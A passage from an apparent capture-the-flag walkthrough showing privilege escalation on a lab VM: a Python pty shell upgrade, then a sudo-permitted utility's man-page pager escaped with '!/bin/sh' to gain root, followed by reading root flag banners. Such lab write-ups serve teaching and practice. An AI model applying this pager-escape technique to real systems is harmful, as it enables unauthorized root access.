inet6 fe80a00:27ff:fe37:5f66/64 scope link
valid_lft forever preferred_lft forever

Privilege Escalation

Privilege Escalation per anansi_util
$ python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo /home/anansi/bin/anansi_util manual ls
sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
(ENTER drücken) Manual page ls(1) line 1 (press h for help or q to quit)!/bin/sh <<<-
!/bin/sh
id
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
cd /root
ls
ls
b.txt
cat b.txt
cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|



http://www.techorganic.com

Flags

root.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|


http://www.techorganic.com